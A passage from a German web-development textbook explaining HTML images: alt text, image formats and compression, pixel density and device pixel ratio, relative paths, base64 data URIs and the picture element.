                    alt: alternative – ein alternativer (bildbeschreibender) Text, ganz im Sinne von Barrierefreiheit. Dieser Alternativtext eines Bildes soll nicht den gesamten Inhalt des Bildes wiedergeben, sondern denselben Zweck erfüllen, den auch das Bild erfüllt. Soll beispielsweise ein Bild auf einer Website ein Produktbild einer blauen Vase darstellen, sodass sich der User einen Eindruck von dieser Vase machen kann, so soll der Alternativtext dasselbe tun: »Stellt eine blaue Vase dar«. Sollte die Vase wiederum spezielle Merkmale (wie etwa eine kreisförmige Gravur) aufweisen, so würde dies im Alternativtext angemerkt werden: »Stellt eine blaue Vase mit kreisförmiger Gravur in Vasenmitte dar.«

                

            

            
                [»]  Ein Bild für dekorative Zwecke

                Sollte ein Bild rein dekorative Zwecke erfüllen, so darf/soll der Alternativtext leer bleiben, jedoch muss in Hinblick auf gültigen Code das Attribut dennoch angewandt werden: <img src="ein/dekobild.jpg" alt="">.

            

            Ein paar Worte zur Source (src): Sie gibt den Pfad zu einer Bilddatei an, wobei mit einem Pfad der »Weg von der HTML-Datei zur Bilddatei« inklusive aller benötigter Unterverzeichnisse gemeint ist. Auf das Thema der Pfade gehe ich etwas weiter unten noch genau ein.

            
                Ein Wort zu Bildformaten

                Die Bildformate unterscheiden sich vor allem in der Art und Weise, wie die Informationen gespeichert werden. Tabelle 5.5 soll Ihnen einen ersten Anhaltspunkt liefern.
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                                Vektorbasiert

                            
                        

                        
                            	
                            	
                                GIF
(Graphics Interchange File Format)

                            
                            	
                                JPEG

                                (Joint Pictures/Photographic Expert Group)
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                                WebP

                                (Web Picture, »weppy«)
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                                Farbtiefe

                            
                            	
                                max. 8 Bit

                            
                            	
                                24 Bit
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                                24 Bit

                            
                            	
                                24 Bit inkl. Wide Color Gamut

                            
                            	
                                16,8 Millionen

                            
                        

                        
                            	
                                Kompression

                            
                            	
                                verlustfrei

                            
                            	
                                verlust-behaftet

                            
                            	
                                verlustfrei
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                                –

                            
                            	
                                –

                            
                            	
                                –
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                                –

                            
                        

                        
                            	
                                Progressive Rendering

                            
                            	
                                (interlaced)

                            
                            	
                                ja

                            
                            	
                                (interlaced)
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                                ja

                            
                            	
                                –

                            
                        

                    
                

                Tabelle 5.5    
            Bildformate und ihre wesentlichen Eigenschaften

                
                    [»]  WebP vs. AVIF

                    Das Format WebP musste in der Vergangenheit sehr viel Kritik einstecken, weshalb aktuell in mehreren Richtungen an einer Weiterentwicklung (WebP 2, AVIF) gearbeitet wird. Insbesondere das AVIF-Format zeigt sehr gute Ergebnisse, weshalb davon auszugehen ist, dass WebP in absehbarer Zeit durch AVIF ersetzt werden wird (Stand: Januar 2024).

                

                Mittlerweile hat also auch das Format AVIF Einzug gehalten, das sich sowohl für Bilder als auch für Animationen aufgrund seiner hohen Performanz sehr gut eignet. Es bietet eine wesentlich höhere Kompressionsrate als etwa JPEG (ca. 50 %), und auch gegenüber WebP liegt AVIF vorne. Jedoch ist gerade die Unterstützung von HDR in Verbindung mit Wide Color Gamut hervorzuheben, die AVIF von allen anderen Formaten unterscheidet, wobei natürlich immer fraglich ist, ob der vom User verwendete Monitor die Fähigkeit zur Darstellung von HDR- oder Wide Gamut überhaupt besitzt.

                Dennoch ist davon auszugehen, dass AVIF im Fall von Pixelbildern zukünftig eine Art Universalsystem darstellen wird. Einzig das fehlende progressive Rendering ist als Nachteil anzusehen: AVIF-Bilder müssen somit vollständig heruntergeladen werden, um sie anzuzeigen. Im Allgemeinen sollte dies kein größeres Problem darstellen, da wie gesagt die Kompressionsrate von AVIF um im Mittel ca. 50 % höher ist als bei JPEG, WebP oder PNG und somit die Datenmenge auf etwa die Hälfte schrumpft. Lediglich im Fall von sehr großen Bildern sollten Sie überlegen, vielleicht doch auf ein Format wie JPEG zurückzugreifen, das ein Progressive Rendering unterstützt.

                
                    [Info]  Farbtiefe und HDR

                    Wir unterscheiden zwischen 1 Byte = 8 Bit Farbtiefe (entspricht 28 = 256 unterschiedlichen Farben, die verwendet werden können) und 3 Byte = 24 Bit (224 = ca. 16,8 Millionen Farben). Sehr gute Monitore unterstützen aktuell bis zu 30 Bit (230 = ca. 1,1 Milliarden Farben), um möglichst nahe an die Farbwahrnehmung des Menschen heranzukommen. Details hierzu finden Sie in Abschnitt 2.9.2, »Licht und Biologie – wie wir Licht wahrnehmen«.

                    HDR (High Dynamic Range) ist ein Verfahren, um Fotos mit einem sehr hohen Helligkeitsunterschied (beispielsweise 1:1000) aufzunehmen (und zu speichern).

                

            
            
                Verlustfreie und verlustbehaftete Datenkomprimierung

                Bei der Wahl eines Bildformates spielt die Komprimierung der zu speichernden Daten eine wesentliche Rolle. Betrachten wir zunächst folgendes Beispiel: Angenommen, ein Bild besitzt eine Auflösung von 100 × 100 Pixel. Je nach verwendeter Farbtiefe kann man die (ungefähre) Größe der Bilddatei ausrechnen:

                
                    	
                        8 Bit Farbtiefe (1 Byte): 100 × 100 × 1 B = 10.000 B = ca. 10 kB

                    

                    	
                        24 Bit Farbtiefe (3 Byte): 100 × 100 × 3 B = 30.000 B = ca. 30 kB

                    

                

                
                    [»]  Die Berechnung der exakten Bildgröße

                    Die berechnete Dateigröße ist nicht die exakte Größe, da in der Regel neben den Bildinformationen auch noch weitere sogenannte Meta-Informationen in das Bild gespeichert werden, wodurch sich die Dateigröße erhöht. Weiters gilt zu beachten, dass 1 kB = 1024 B entspricht, was in meiner Berechnung nicht berücksichtigt wird, da es sich lediglich um eine Schätzung handelt.

                

                Würde man diese Berechnung auf eine im Internet übliche Bildgröße von 1920 × 1080 Pixel anwenden, so käme man auf 1920 × 1080 × 3 B = ca. 5,9 MB. Gemessen an der tatsächlichen Größe von Bilddateien, die wir in dieser Pixelauflösung antreffen (ca. 400–500 kB) erscheint dieser Wert als viel zu hoch.

                Der Grund für diese Diskrepanz liegt darin, dass das obige Rechenbeispiel eine etwaige Datenkomprimierung nicht berücksichtigt, die jedoch in aller Regel zum Einsatz kommt.

                Im Falle der Datenkomprimierung unterscheidet man zwischen zwei Arten von Komprimierung:

                
                    	
                        verlustfrei: Durch die Komprimierung gehen keine Bildinformationen verloren.

                    

                    	
                        verlustbehaftet: Durch die Komprimierung gehen Bildinformationen verloren.

                    

                

                Zwar ist man naheliegenderweise daran interessiert, keine Bildinformationen zu verlieren, man akzeptiert einen möglichen Verlust jedoch, wenn dieser nicht auffällt. Der Vorteil der verlustbehafteten Kompression besteht in der wesentlich geringeren Dateigröße nach der Komprimierung.

                Eine sehr einfache Idee für die Komprimierung von Daten ist folgende: Anstatt für ein jedes Pixel die jeweilige Farbe zu speichern, speichert man lediglich die Änderung der Farbe von Pixeln. Dieses Prinzip kann sowohl in horizontaler als auch vertikaler Richtung angewandt werden. Betrachten wir folgendes – recht buntes – Bild mit einer Auflösung von 100 × 100 Pixel:

                
                    [image: Bildkomprimierung mittels Farbveränderung]

                    Abbildung 5.16    
            Bildkomprimierung mittels Farbveränderung

                
                In diesem Fall würde die Komprimierung wie folgt aussehen:

                
                    	
                        In der ersten Zeile müssen die Farbinformationen des ersten, dritten, vierten, fünften, sechsten, siebten und zehnten Pixels gespeichert werden (sieben anstatt zehn Informationen → Einsparung ca. 30 %)

                    

                    	
                        In der zweiten Zeile müssen die Farbinformationen der ersten sechs Pixel sowie des neunten Pixels gespeichert werden (ebenfalls 7 anstatt 10 Informationen)

                    

                    	
                        Zeile 3: 7 Informationen

                    

                    	
                        Zeile 4: 8 Informationen

                    

                    	
                        Zeile 5: 5 Informationen

                    

                    	
                        Zeile 6: 4 Informationen

                    

                    	
                        Zeile 7: 5 Informationen

                    

                    	
                        Zeile 8: 4 Informationen

                    

                    	
                        Zeile 9: 4 Informationen

                    

                    	
                        Zeile 10: 4 Informationen

                    

                

                Insgesamt müssen für dieses Bild nun anstatt der 100 Informationen nur 55 Informationen gespeichert werden, was einer Reduktion um 45 Informationen entspricht. Würde man unsere Vorgehensweise (unseren Algorithmus) noch etwas verbessern, so wäre es auch denkbar, die Farbübergänge von einer Zeile zur nächsten mitzuberücksichtigen, wodurch sich in folgenden Zeilen eine weitere Reduktion ergäbe:

                
                    	
                        von Zeile 2 auf Zeile 3: Das letzte Pixel der zweiten Zeile besitzt dieselbe Farbe wie das erste Pixel der dritten Zeile.

                    

                    	
                        von Zeile 3 auf Zeile 4

                    

                    	
                        von Zeile 4 auf Zeile 5

                    

                    	
                        von Zeile 5 auf Zeile 6

                    

                

                Somit ließen sich weitere vier Informationen einsparen, was unsere Dateigröße auf 51 Informationen reduziert – also auf etwa 50 % der Originalgröße, obwohl wir keine große Energie in die Entwicklung unseres Verfahrens gesteckt haben. Dieses Prinzip ähnelt im Übrigen dem Komprimierungsverfahren des GIF-Formates, das die sogenannte LZW-Komprimierung nutzt.

                
                    [»]  LZW-Komprimierung

                    Der Begriff LZW-Komprimierung geht auf die drei Erfinder dieses Verfahrens zurück: Abraham Lempel, Jacob Ziv und Terry A. Welch. Die beiden Erstgenannten waren federführend für die Entwicklung zuständig, und der Drittgenannte hat den bestehenden Algorithmus an manchen Stellen noch verfeinert. Weiterführende Informationen finden Sie etwa unter https://de.wikipedia.org/wiki/Lempel-Ziv-Welch-Algorithmus.

                

                Die Farbwerte, die gespeichert werden müssen, sind in Abbildung 5.17 mit Nummern versehen.

                
                    [image: Bildkomprimierung: Die zu speichernden Farbwerte sind entsprechend gekennzeichnet. Es ergeben sich 51 zu speichernde Werte.]

                    Abbildung 5.17    
            Bildkomprimierung: Die zu speichernden Farbwerte sind entsprechend gekennzeichnet. Es ergeben sich 51 zu speichernde Werte.

                
                Diese Vorgehensweise stellt eine verlustfreie Komprimierung dar und funktioniert immer dann sehr gut, wenn die Wahrscheinlichkeit sehr hoch ist, dass zwei benachbarte Pixel dieselbe Farbe besitzen. Dies ist insbesondere dann der Fall, wenn die Farbtiefe (also die Auswahl der möglichen Farben) gering ist, wie dies etwa beim GIF-Format mit maximal 256 unterschiedlichen Farben, der Fall ist.

                Anders gestaltet sich die Sachlage, wenn man aus einer sehr großen Menge an Farben wählen kann (etwa bei 24 Bit Farbtiefe, was eben etwa 16,8 Millionen Farben entspricht): Hier ist die Wahrscheinlichkeit sehr groß, dass zwei benachbarte Pixel nicht dieselbe Farbe aufweisen, sondern gegebenenfalls zwar sehr ähnlich, aber dennoch nicht gleich sind. An dieser Stelle kommt in der Regel ein sogenannte Angleichprozess (Weichzeichnen) zum Einsatz: Bevor die tatsächliche Komprimierung stattfindet, werden geringe Farbunterschiede zwischen benachbarten Pixeln ausgeglichen, wodurch die betroffenen Pixel nun wieder dieselbe Farbe aufweisen. Der Nachteil dieser Variante ist, dass durch den Angleichprozess Farbinformationen verloren gehen, die nicht wiederhergestellt werden können. Man spricht demnach von verlustbehafteter Komprimierung. Eine derartige Anwendung kommt in einer ähnlichen Form beim JPEG-Format zum Einsatz, weshalb man von einem verlustbehafteten Datenformat spricht.

            
            
                Die 72-dpi-Lüge und das Thema Pixeldichten

                Sobald Sie einige Zeit im grafischen Bereich verbringen, stoßen Sie unweigerlich auf den Begriff Auflösung bzw. Pixeldichte. Gemeinhin versteht man darunter die Angabe, wie viele Dots (ich vermeide hier zunächst bewusst den Begriff Pixel) sich in einem Zoll (engl. Inch; 1 Zoll entspricht 2,54 cm) unterbringen lassen. Daraus ergibt sich eine Einheit namens Dots per Inch (dpi). Für den Druckbereich ist dies eine sehr wesentliche Einheit, gibt sie doch an, wie nahe einzelne Druckpunkte (Dots) nebeneinander gedruckt werden, was ein Maß für die Feinheit eines Druckes ist. Üblicherweise wird diese Auflösung im Druckbereich für Druckerzeugnisse wie Zeitschriften, Bücher etc. mit ca. 300 dpi gewählt. Wie hoch dieser Wert sein sollte, hängt davon ab, wie nahe oder auch wie weit entfernt wir als Mensch dem Druckerzeugnis gegenüber stehen: Zeitschriften, Bücher und ähnliches halten wir etwa eine Armlänge entfernt von uns, Plakate hingegen betrachten wir aus einer größeren Distanz. Je größer die Distanz ist, umso größer dürfen einerseits die Dots werden und umso kleiner darf auch die Auflösung sein (150 dpi, 75 dpi usw.).

                Einen ähnlichen Weg hat man eingeschlagen, als man sich darüber Gedanken gemacht hat, welche Auflösung ein Monitor haben solle, sodass ein Betrachter die Größe eines Pixels nicht mehr klar wahrnehmen kann. (In diesem Bereich sprechen wir jetzt nicht mehr von Dots, denn im Falle von Monitoren hat man es nicht mit Druckpunkten, sondern mit Bildschirmpunkten, also Pixeln, zu tun.) Auch hier hängt die Antwort von der Entfernung zum Betrachter ab. Es ist üblich, anzunehmen, dass dieser »eine Armlänge entfernt« vom Bildschirm sitzt. Dass dieser Ansatz lediglich für Desktop-Monitore haltbar ist, liegt auf der Hand: Notebooks sitzen wir aufgrund der integrierten Tastatur etwas näher gegenüber, Tablets halten wir noch näher, Smartphones üblicherweise dann ebenfalls wieder ein Stück näher.

                Aber belassen wir es einmal bei dieser Antwort: Im Falle von Desktop-Monitoren sitzt der Betrachter etwa eine Armlänge entfernt. Für eine solche Entfernung hat man herausgefunden, dass ein Monitor etwa 72 Pixel auf einem Zoll darstellen muss, damit die Größe eines Pixels vom Betrachter nicht mehr erkannt wird: 72 Pixel per Inch oder 72 ppi. Dieses Experiment wurde von unterschiedlichen Unternehmen wiederholt durchgeführt, wobei sich letzten Endes Microsoft für 96 ppi und Apple für 72 ppi entschieden hat. Wichtig ist an dieser Stelle jedoch folgende Erkenntnis: Die Pixeldichte bezieht sich auf die Qualität eines Monitors, nicht auf eine Einstellung in einem Betriebssystem oder Ähnlichem. Mit anderen Worten sind die zuvor genannten Werte (72 vs. 96 ppi) lediglich Empfehlungen von Softwareunternehmen (Microsoft, Apple) an Monitorhersteller (Dell, Eizo, Samsung etc.) in puncto Qualität.

                Vielleicht haben Sie sich die Frage gestellt, warum ich diese Tatsache in diesem Kapitel derart breittrete. Der Grund für diese Ausführungen ist, dass sich seit langer Zeit ein Märchen (man könnte auch »Lüge« dazu sagen) hält, das Folgendes besagt: »Wenn eine Grafik für das Internet gespeichert wird, so muss diese Grafik eine Pixeldichte von 72 dpi aufweisen.« Diese Aussage ist an sich schon falsch, da die Pixeldichte – wie oben ausgeführt – nichts mit einer Grafik zu tun hat, sondern mit einem Monitor oder mit einem Druckergebnis.

                Sehr anschaulich wird die Thematik, wenn man sie sich an einem konkreten Beispiel ansieht: Angenommen, es soll eine Grafik mit einer Breite von 300 Pixeln und einer Höhe von 200 Pixeln erstellt werden. Betrachtet man diese Grafik auf einem (beliebigen) Monitor, so wird diese Grafik einen Platz von 300 × 200 Pixel einnehmen – und das unabhängig davon, mit welcher Pixeldichte die Grafik gespeichert wurde, denn die Anzahl der Pixel ändert sich durch das Angeben einer Pixeldichte nicht. Diese Anzahl bleibt nach wie vor bei 300 Pixeln in der Breite und 200 Pixeln in der Höhe. Selbstverständlich ändert sich die Dateigröße genauso wenig, denn die Größe der Datei (gemessen in Byte o. Ä.) hängt lediglich von der Anzahl der Pixel (und in weiterer Folge von der Farbtiefe und der Art der Komprimierung) ab, nicht jedoch von der Pixeldichte.

                Die Pixeldichte ist demnach lediglich ein Maß dafür, wie nahe Pixel in einem gegebenen Abstand aneinanderliegen bzw. wie groß diese sind. Weil der Monitor diesen Wert vorgibt und nicht die Grafik, ist die Pixeldichte für eine Grafik so lange nicht von Bedeutung, bis diese nicht vielleicht in weiterer Folge auf einem Medium ausgegeben wird, das auf diesen Wert Rücksicht nimmt – wie etwa bei einem Ausdruck der Grafik. Bei einem solchen Ausdruck mithilfe eines Druckers sieht die Welt entsprechend anders aus: Ein Drucker liest diese Information aus der Grafik aus, passt die Größe der Dots an die Auflösung an und setzt diese dann entweder näher zusammen (= höherer dpi-Wert) oder weiter auseinander (= geringerer dpi-Wert).

                
                    [image: Bei einer Pixeldichte von 10 ppi liegen zehn Pixel in einem Zoll (Inch). Dementsprechend ist die Größe eines Pixels ein Zehntel eines Zoll. Verringert man die Pixeldichte auf die Hälfte, so liegen zehn Pixel auf zwei Zoll; dementsprechend ergibt sich eine Pixeldichte von 5 ppi (rechts in vergrößerter Darstellung).]

                    Abbildung 5.18    
            Bei einer Pixeldichte von 10 ppi liegen zehn Pixel in einem Zoll (Inch). Dementsprechend ist die Größe eines Pixels ein Zehntel eines Zoll. Verringert man die Pixeldichte auf die Hälfte, so liegen zehn Pixel auf zwei Zoll; dementsprechend ergibt sich eine Pixeldichte von 5 ppi (rechts in vergrößerter Darstellung).

                
                Nachfolgend sehen wir uns noch ein paar Angaben unterschiedlicher Monitore an, um ein Gefühl für die Pixeldichte zu bekommen. Die zugrunde liegenden Werte sind wie folgt:

                
                    	
                        Zunächst benötigt man die Bildschirmdiagonale in Zoll. Misst man die Diagonale selbst ab, so muss der Wert in Zentimetern durch 2,54 geteilt werden, um den Wert in Zoll zu haben.

                    

                    	
                        Danach benötigt man die maximale Bildschirmauflösung. Diese erhält man entweder durch Ablesen der Werte in den Systemeinstellungen des Monitors innerhalb des Betriebssystems oder – natürlich – durch Ablesen auf der Verpackung.

                    

                

                Wer es genau wissen möchte, erhält nun nachstehend die Berechnungsformel (für quadratische Pixel):

                
                    [image: formula]

                
                Daraus ergeben sich etwa folgende Werte (eine gute Quelle für Informationen dieser Art sind entweder die Produktseiten der jeweiligen Unternehmen oder etwa auch https://www.dimensions.com/classifications/digital):

                
                    	
                        Desktop-Monitor mit 24 Zoll (Bildschirmdiagonale) und einer Auflösung von 1920 × 1080 Pixel: etwa 92 ppi

                    

                    	
                        Desktop-Monitor mit 27 Zoll und einer Auflösung von 1920 × 1080 Pixel: etwa 82 ppi

                    

                    	
                        Widescreen-Monitor (34 Zoll, 3440 × 1080 Px): etwa 106 ppi

                    

                    	
                        Apple Macbook Pro 2017 (15,4 Zoll, 2880 × 1800 Px): etwa 220 ppi

                    

                    	
                        Apple 6k Monitor (32 Zoll, 6016 × 3384 Px): etwa 216 ppi

                    

                    	
                        Apple iPhone 4 (3,5 Zoll, 960 × 640 Px): etwa 330 ppi

                    

                    	
                        Apple iPhone 14 (6,1 Zoll, 2556 × 1179 Px): etwa 461 ppi

                    

                

                Bei letzteren Geräten fällt auf, dass die Werte weit über den Werten liegen, die ursprünglich als ausreichend erachtet wurden. Derart hohe Auflösungen sind für ein normales Arbeiten nicht geeignet, da die Pixel zu klein werden – es sei denn:

                
                    	
                        Das Gerät wird weniger als eine Armlänge entfernt bedient. Dies wäre etwa im Fall von Smartphones oder Tablets der Fall, wo man üblicherweise von einer benötigten Pixeldichte von etwa 150 dpi (also etwa dem Doppelten eines Desktop-Monitors) ausgeht, da das Gerät eine halbe Armlänge entfernt bedient wird.

                    

                    	
                        Das Gerät arbeitet softwaretechnisch mit einer erhöhten Pixeldichte, die den Programmen vorgaukelt, dass die Bildschirmauflösung beispielsweise die Hälfte oder ein Drittel beträgt. Hieraus ergibt sich eine Device Pixel Ratio (DPR) von beispielsweise 2 oder 3. Diese DPR-Zahl gibt das Verhältnis von einem physischen (realen) Pixel (also dem Hardware-Pixel) zu einem logischen (etwa CSS-)Pixel an.

                    

                

                Zweitere Variante wird sehr gerne für hochqualitative Ausgabegeräte (Bildschirme von Smartphones, besseren Notebooks oder auch Desktop-Monitoren) verwendet, um ein brillanteres Erscheinungsbild zu ermöglichen. Wie Sie aus der vorherigen Auflistung der Pixeldichten von Monitoren gesehen haben, besitzt ein Macbook Pro aus dem Jahr 2017 etwa eine Pixeldichte von etwa 220 ppi, was für ein Notebook zu hoch wäre. Dementsprechend gibt das Betriebssystem nicht die Information über 2880 × 1800 Pixel an die Softwaresysteme weiter, sondern die Information, dass der Bildschirm eine Auflösung von 1440 × 900 Pixel bei jedoch doppelter Device Pixel Ratio besitzt.

                Abbildung 5.19 verdeutlicht unterschiedliche Device-Pixel-Verhältnisse:

                
                    [image: Darstellung unterschiedlicher Device-Pixel-Ratios]

                    Abbildung 5.19    
            Darstellung unterschiedlicher Device-Pixel-Ratios

                
                Nachdem Sie nun ein gutes Verständnis von Pixeln, Pixeldichten und -verhältnissen erworben haben, wenden wir uns nun den Bildpfaden zu.

            
            
                Pfade führen uns zu den Dateien

                Unter einem Pfad versteht man den »Weg zu einer speziellen Datei«, und zwar ausgehend von derjenigen Datei, in der der Pfad angegeben ist. Üblicherweise werden die Dateien, die für eine Website benötigt werden, in Verzeichnissen abgelegt, die natürlich wieder in weitere Unterverzeichnisse unterteilt werden können. Ein gutes Beispiel hierfür ist das Ablegen von Bildern, die üblicherweise eben in Verzeichnissen wie images oder bilder abgelegt werden.

                Ganz allgemein unterscheiden wir zwischen absoluten und relativen Pfaden:

                
                    	
                        Absolute Pfade sind solche, bei denen die Adresse des Bildes vollständig angegeben wird. Im Falle von Webseiten wären das etwa Pfadangaben dieser Art: https://www.google.at/logos/doodles/2024/new-years-day-2024-6753651837110174-law.gif. Im realen Leben wäre das so etwas wie die Angabe geografischer Daten in Längen- und Breitengrad.

                    

                    	
                        Relative Pfade hingegen sind solche, die den Weg von einer Datei zu einer anderen beschreiben. Das können Sie sich wie eine Wegbeschreibung in einem Gebäude von einem Raum zu einem anderen vorstellen: »Gehen Sie aus diesem Raum heraus, dann links in den Gang, die Stufen hinauf, dann rechts die dritte Tür: Das ist Raum E114«.

                    

                

                Bei der Angabe von relativen Pfaden unterscheidet man folgende Szenarien:

                
                    	
                        Ausgehend von einer Datei muss ein Pfad in ein Verzeichnis angegeben werden (d. h., man möchte in ein Verzeichnis hineinwechseln): Hierzu wird der Name des Verzeichnisses, gefolgt von einem Schrägstrich, angegeben, also beispielsweise a/. Mit anderen Worten, es wird versucht, vom aktuellen Verzeichnis (in dem sich die Datei befindet, in der die Pfadangabe benötigt wird) in das Verzeichnis a zu wechseln.

                    

                    	
                        Möchte man einen Pfad in das übergeordnete Verzeichnis angeben, so erfolgt dies mithilfe der Angabe ../ (Punkt-Punkt-Schrägstrich). Ein Wechsel ins über-übergeordnete Verzeichnis erfolgt durch ein Aneinanderstellen dieser Angabe, also etwa mit: ../../

                    

                    	
                        Grundsätzlich besteht auch die Möglichkeit, aus einem beliebigen Verzeichnis direkt ins Haupt- oder Rootverzeichnis zu wechseln. Dies erfolgt über einen führenden Schrägstrich /. Diese Variante birgt jedoch die Gefahr, dass die Pfadangaben nicht mehr stimmen, wenn Sie die Website aus einem Unterverzeichnis in das Hauptverzeichnis verlegen.

                    

                    	
                        Im Übrigen ist auch ein Verweis auf dasjenige Verzeichnis möglich, in dem sich die HTML-Datei befindet, von der aus der Pfad angegeben werden soll: ./ (Punkt-Schrägstrich)

                    

                

                Betrachten wir etwa das Beispiel in Abbildung 5.20, in dem htdocs das Root-Verzeichnis des Webservers darstellt.

                Wenn wir uns folgende Verknüpfungen von Bildern in unterschiedlichen Dateien ansehen, so ergibt sich:

                
                    	
                        in a.html die Datei z.jpg einbauen:

                        <img src="c/d/z.jpg" alt="...">

                    

                    	
                        in b.html die Datei z.jpg einbauen:

                        <img src="c/d/z.jpg" alt="...">

                    

                    	
                        in a.html die Datei xy.jpg einbauen:

                        <img src="e/xy.jpg" alt="...">

                    

                    	
                        in abc.html die Datei y.jpg einbauen:

                        <img src="../y.jpg" alt="..."> oder

                        <img src="/c/y.jpg" alt="...">

                    

                    	
                        in abc.html die Datei xy.jpg einbauen:

                        <img src="../../e/xy.jpg" alt="..."> oder

                        <img src="/e/xy.jpg" alt="...">

                    

                

                
                    [image: Eine fiktive Verzeichnisstruktur]

                    Abbildung 5.20    
            Eine fiktive Verzeichnisstruktur

                
            
            
                Spezialthema: Bildinhalte anstelle von Bildpfaden

                Statt Bilder als Datei zu speichern und in eine HTML-Seite einzubinden, haben Sie auch die Möglichkeit, lediglich den Bildinhalt (also den dahinterliegenden Zeichencode) zu speichern und diesen direkt in den HTML-Code einzubetten. Diese Variante erzeugt im ersten Moment einen gehörigen Mehraufwand, der sich erst dann rechnet, wenn man in Hinblick auf Responsive Design an einer jeden Stelle Performance-Verbesserungen angehen möchte. Wir gehen im Kapitel 8 zu Responsive Design genauer darauf ein.

                Wie würde die Sache aussehen? Nun, zunächst muss ein Bild in den zugehörigen (base64-)Code umgewandelt werden, was man im einfachsten Fall online erledigen kann (https://www.base64-image.de/ oder ähnliche Seiten liefern Abhilfe). Nachdem man das gewünschte Bild hochgeladen hat, wird dieses kodiert (siehe Abbildung 5.21).

                
                    [image: Das base64-kodierte Bild ist in der Datenmenge um ca. 20 bis 30 % größer, erzeugt aber dafür keinen Request am Server.]

                    Abbildung 5.21    
            Das base64-kodierte Bild ist in der Datenmenge um ca. 20 bis 30 % größer, erzeugt aber dafür keinen Request am Server.

                
                Den produzierten Code fügt man alsdann in das src-Attribut des <img> ein. Achtung: Je nach Bilddatei wird dieser Code richtig, richtig lang und somit Ihr HTML-Code sehr unübersichtlich. Im aktuellen Beispiel würde sich der Code über zehn DIN-A4-Seiten erstrecken, weshalb ich ihn für Demonstrationszwecke gekürzt habe:

                <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0id XRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDI3LjUuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IkViZW5lXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N..."> 


            
            
                <picture> – Ein Bild für jede Displaygröße (und mehr)

                Speziell im Fall der Darstellung von Bildern auf unterschiedlichen Ausgabegeräten (Desktop, Smartphone, Tablet etc.) ist man mit der Problematik konfrontiert, dass Bilder in einer Größe in den Quellcode eingebettet werden müssen, die zwar für ein Ausgabemedium passend ist, für ein anderes wiederum nicht. Möchten Sie beispielsweise ein bildschirmfüllendes Bild im Browser darstellen, so müssten Sie überlegen, dass Bildschirme unterschiedlichste Größen aufweisen können:

                
                    	
                        Im Falle eines Desktop-Monitors mit einer Bildschirmauflösung von 1920 × 1080 px müsste das gewünschte Bild 1920 × 1080 px groß sein.

                    

                    	
                        Im Falle eines Tablets mit einer Auflösung von 1024 × 768 px benötigen Sie ein Bild der Größe 1024 × 768 px.

                    

                    	
                        Smartphones mit einer Auflösung von 640 × 1136 px benötigen eine Bildgröße von 640 × 1136 px.

                    

                    	
                        Im schlimmsten Fall haben Sie es mit einem Apple-6K-Monitor mit einer Auflösung von 6016 × 3384 px zu tun und benötigen demnach eine Bildgröße von 6016 × 3384 px.

                    

                

                Würden Sie also den Wunsch hegen, dass ein Bild auf einer Website auf allen Ausgabegeräten bildschirmfüllend dargestellt wird, so müssten Sie theoretisch das größte Bild einbetten und es je nach Ausgabegerät dann skaliert (verkleinert) darstellen. Das wäre jedoch unfair den Smartphone- oder Tablet-Usern gegenüber, da sie eine viel zu große Menge an (Bild-)Pixeln laden müssen, die sie für ihre Darstellung gar nicht benötigen (siehe Tabelle 5.6).

                
                    
                        
                            	
                            	
                                Auflösung

                            
                            	
                                Pixelanzahl

                            
                        

                    
                    
                        
                            	
                                Desktop

                            
                            	
                                1920 × 1080 px

                            
                            	
                                ca. 2 Millionen

                            
                        

                        
                            	
                                Smartphone

                            
                            	
                                640 × 1136 px

                            
                            	
                                ca. 730.000

                            
                        

                        
                            	
                                Apple 6K Monitor

                            
                            	
                                6016 × 3384 px

                            
                            	
                                ca. 20,35 Millionen

                            
                        

                    
                

                Tabelle 5.6    
            Auflösung und Pixelanzahl im Vergleich: 730.000 vs. 20.35 Millionen Pixel sprechen eine deutliche Sprache.

                Ein Smartphone-User mit der obig genannten Auflösung müsste also in etwa 28-mal so viele Daten laden, wie er benötigt! Um dieser Tatsache Herr zu werden und entsprechend Bandbreite einzusparen, hat das W3-Konsortium ein weiteres Bild-Tag veröffentlicht, mit dem solche Eigenschaften unterschieden werden können: das picture-Tag. Dieses bindet je nach Kriterium (z. B. die Bildschirmauflösung) unterschiedliche Bildquellen ein. Der große Nachteil hierbei ist, dass der Entwickler es nun nicht mehr mit nur einem Bild, sondern mit einer Vielzahl an Variationen dieses Bildes zu tun hat, die er erstellen muss (oder die er sich serverseitig generieren lässt, wie Sie in Kapitel 11 zu PHP erfahren werden):

                <picture>
    <source srcset="bilder/smartphone.jpg" media="(max-width:640px)">
    <source srcset="bilder/desktop.jpg" media="(max-width:1920px)">
    <img src="bilder/apple6k_6016.jpg" alt="...">
</picture>


                Der Browser wählt über die Angaben im media-Attribut diejenige Bildquelle aus, die zu den gegebenen Kriterien passt. Sollte der Browser das picture-Tag noch nicht unterstützen, so wird als Fallback das inkludierte img gewählt. Außerdem wird das <img> immer dann herangezogen, wenn keine der <source>-Angaben zutreffend ist. Eine Angabe eines alternativen Textes (alt-Attribut) ist ebenfalls nur über das <img>-Tag möglich – das <picture>-Tag bietet keine Möglichkeit, einen solchen Alternativtext zu platzieren.

                Neben der reinen Bildauflösung (hier: max-width) könnte man (zusätzlich) auch auf die Pixeldichte (Thema: Retina-Displays) und andere Eigenschaften eines Monitors (Bildausrichtung: Portrait/Landscape etc.) eingehen, wie etwa folgender Code zeigt:

                <picture>
    <source srcset="bilder/640.jpg, bilder/1280.jpg 2x, bilder/1920.jpg 3x" media="(max-width:640px)">
    <source srcset="bilder/1024.jpg, bilder/2048.jpg 2x, bilder/3072.jpg 3x" media="(max-width:1024px)">
    <source srcset="bilder/1920.jpg, bilder/2880.jpg 2x"  
media="(max-width:1920px)">
    <img src="bilder/apple6k_6016.jpg" alt="...">
</picture>


                Die hervorgehobenen Angaben »2x« bzw. »3x« geben den DPR-Wert an. Betrachtet man etwa die erste Zeile, so werden die Bilder wie folgt gewählt: Bei einer Viewport-Breite von 640 px …

                
                    	
